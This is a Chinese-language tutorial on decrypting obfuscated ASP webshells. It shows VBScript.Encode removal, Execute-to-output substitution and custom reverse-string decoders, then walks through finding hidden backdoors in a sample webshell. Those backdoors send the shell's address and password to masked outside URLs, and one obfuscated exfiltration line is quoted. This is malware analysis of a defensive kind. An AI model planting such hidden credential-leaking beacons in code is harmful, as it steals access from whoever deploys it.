浅析解密ASP文件
第一次接触asp文件的解密时就被这些乱码深深的吸引了,希望能从中找到解密的良方,于是开始了对asp文件解密的探索之路,经过一段时间的摸索和研究,对于asp文件的加解密有了一定的了解,写这篇文章作为对我这段时间学习的一个总结,同时将我这段时间学习到的经验分享给大家,WEBSHELL Decoder & Encoder也作为这段时间学习的一个成果。
要弄明白ASP文件的解密就必须首先了解asp文件的运行原理,不明白asp文件运行原理那么是无法进行解密的。现在常见的交互式动态网页技术有CGI, ASP, JSP,PHP及c#等.net语言,而asp语言提供了一个在html中使用脚本文件文件的框架,常见的脚本有Microsoft VBScript和Microsoft Jscript,而我们用的比较多的就是vbscript脚本。asp语言属于解释执行类语言,它是按照顺序一条一条来解释执行,必须是完整正确的明文代码解释器才会执行,这个asp语言的先天不足就决定了它的加密是完全可逆的,有些朋友问我怎样实现asp不可逆的加密,我想这是不可能的,语言的先天性就决定这一点。可能有些朋友会问vbscript.encode不就是不可逆的吗?非也,它同其它的自定义加密函数一样,只是这个解密函数没有包含在asp文件中而是集成到了asp.dll中,只要在asp文件中检测到有LANGUAGE = VBScript.Encode,它就会调用解密函数进行解密,然后逐行执行之,现在如果想做到不被解密只有寄希望于微软重新编写vbscript.encode。
相信很多朋友解密asp文件遇到的第一个难关就是vbscript.encode的加密。对于这个微软的这个加密网上已经出来了完全解密的方法,在线的vbscript.encode解密网站都很多,需要注意的是当asp文件中含有“×”这类特殊字符时,程序将退出,这是编码原因引起的错误,只要将这个特殊字符进替换成别的字符继续解密即可。
进行了vbscript.encode解密后,只是剥下了这个文件第一层壳,后面的基本都是自定义函数加密了。
asp文件的运行需要一定的脚本环境的支持,由服务器来执行asp文件中的脚本代码,对于microsoft用户来说这个环境为IIS,那么从运行环境角度来进行解密是一个方向,这个解密的特点就是必须架设iis运行asp文件来解密。另外一个方向我们可以从脚本本身这个角度来进行解密,从这个角度解密不需要iis环境的支持,而是直接解密。
先说在iis环境中进行解密。毫无疑问要先在系统架设好iis环境。因为这个加密都要通过ExeCuTe执行解密函数对加密字符进行解密然后执行,所以如果我们将执行换成输出函数,那么就将得到明文。对于这个解密,我介绍三种方法。
第一种是我比较喜欢的fso方法,来一段源码
ShiSan=”~殺>ELBAT/<殺 etirW.esnopseR~殺>RT/< 殺 etirW.esnopseR~殺>DT/< 殺 etirW.esnopseR~fi dnE~殺 殺 etirW.esnopseR~殺>殺殺;)1-(og.yrotsih殺殺=kcilCno 回返=eulav nottub=epyt TUPNI< 殺 etirW.esnopseR~eslE~殺 殺 etirW.esnopseR~殺>殺殺;)(esolc.wodniw殺殺=kcilcno 闭关=eulav nottub=epyt TUPN”:ExeCuTe(UZSS(ShiSan))
这段代码ShiSan的值就是加密后的字符,UZSS是解密函数,那么我们可以这样设计,在ExeCuTe(UZSS(ShiSan))后面加如下语句,
set fs=server.CreateObject(“scripting.filesystemobject”)
set outpout=fs.CreateTextFile(server.mappath(“ok.asp”),True)
outpout.Write(ShiSanFun(ShiSan))
那么将在这个asp文件的同目录下生成包含明文的ok.asp.这个是利用fso方法获取源码。
第二种方法,原理一样,只是代码不同。在文件头部写入这个过程
Sub Write2File(strFile, strContent, blnAppend)
On Error Resume Next
Set objFSO = Server.CreateObject(“Scripting.FileSystemObject”)
If blnAppend Then
Set objWriteText = objFSO.OpenTextFile(strFile,8,True)
Else
Set objWriteText = objFSO.OpenTextFile(strFile,2,True)
End If
objWriteText.WriteLine (strContent)
Set objWriteText = Nothing
Set objFSO = Nothing
Select Case Err
Case 424 Response.Write “路径未找到或者该目录没有写入权限.”
Case Else Response.Write Err
End Select
End Sub
只要在需要解密的地方加入
Write2File “M:\加密解密\test\1.txt”, ShiSanFun(ShiSan), True
这句话,修改ShiSanFun(ShiSan)为变量值,输出文件的路径需要是绝对路径,那么运行文件明文就将写入1.txt。这个方法的优点就是函数化了,可以多次使用。
第三种方法,通过Server.HTMLEncode方法来实现直接输出。代码如下:
Function Outpoutstr(objstring)
Response.Write(“"& Server.HTMLEncode(objstring) & "“)
End Function
然后将ExeCuTe(UZSS(ShiSan))修改为Outpoutstr(ShiSanFun(ShiSan)),之后运行文件,明文就输出在游览器中。
对于那种整体加密,在最后通过一个execute来执行所有解密的文件来说,那么用上面的方法是最简单有效的。但是如果asp文件中有几十处加密,也就意味着有几十处ExeCuTe需要替换,那么明文文件的还原将是一个巨大的工作。对于这个难题,从脚本本身的角度来解决将变得容易,基于这个想法,我写了WEBSHELL Decoder & Encoder这个软件。众所周知,asp中的vbscript脚本语法和vb语言的语法是相同的,那么意味着asp中的解密函数可以在vb程序中直接调用,从而免去转换解密函数的麻烦。下面以一个动画解密一个具体实例Siliemor Shell.asp文件来说明asp文件的解密。
下面是动画说明:
解密一个具体实例Siliemor Shell.asp文件来说明asp文件的解密,看一下这个文件,很明显,首先是vbscript.encode,处理一下。
这样我们脱掉了第一层壳,看下这个文件,shellcode.asp已经完全解密,看到有2个解密函数,以为着2中加密。
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, “╁”, “”””):For ShiSanI = 1 To Len(ShiSanObjstr):If Mid(ShiSanObjstr, ShiSanI, 1) <> “╋” Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else:ShiSanNewStr = vbCrLf & ShiSanNewStr
End If:Next:ShiSanFun = ShiSanNewStr:End Function
Function UZSS(objstr)
objstr = Replace(objstr, “殺”, “”””):For i = 1 To Len(objstr):If Mid(objstr, i, 1) <> “~” Then
NewStr = Mid(objstr, i, 1) & NewStr
Else
NewStr = vbCrLf & NewStr
End If:Next:UZSS = NewStr:End Function
先看第一个加密,十三的加密,我们处理下,参数都默认,无需修改,直接解密,可看到有2处,保存下,已经解密!
现在看第二个函数,形式一样,只是参数和函数名有点变化,设置下。可见这个函数总共有44处加密,保存结果。
比较下是否解密,已经解密,全部是明文。
现在这个shell就完全解密,现在找下后门。看到了xmlhttp就意味着可能是后门了,我们试试看。
很明显,这是在密码输入正确后执行的代码,我们运行下。
看到了吧,http://www.*******.cn/123/test.asplocalhost/shellcode2.asp — 1
后门已经完全出来了,我们的shell地址和密码全都发送给这个test.asp了。
好,继续往下看
这里是另外一处后门了,我们解密看下,
再次运行文件
这一处的后门地址已经出来了
http://%38%63%63e%2E%63%6f%6d/%61%62/?%75=localhost/shellcode2.asp&p=1
这个地址也可以自己找下
&chr(37)&”38″&chr(37)&”63%63″&chr(101-pos)&”%2E”&chr(37)&”63%6f”&chr(37)&”6d/%”&(61+pos)&”%”&(62+pos)&”/?%75=”&Serveru&”&p=”&UserPass
chr(37)是“%“,pos为0,没有赋值,那么这句话可以变为
%38%63%63%101%2e%63%6f%6d/%61%62/?%75=”&Serveru&”&p=”&UserPass
和上面是一样的,再次解密上面的地址。
http://*****8.com/ab/?u=localhost/shellcode2.asp&p=1
这个就是最终的后门地址。
好了,整个解密就到这里了,
再见
www.daokers.com
WEBSHELL Decoder & Encoder截图:
观看动画(由于分辨率较高建议下载后观看,如果在线观看建议使用TT在新窗口播放动画):
[swf=800,600]attachments/month_0911/浅析ASP文件的解密.swf[/swf]
动画下载地址:
浅析ASP文件的解密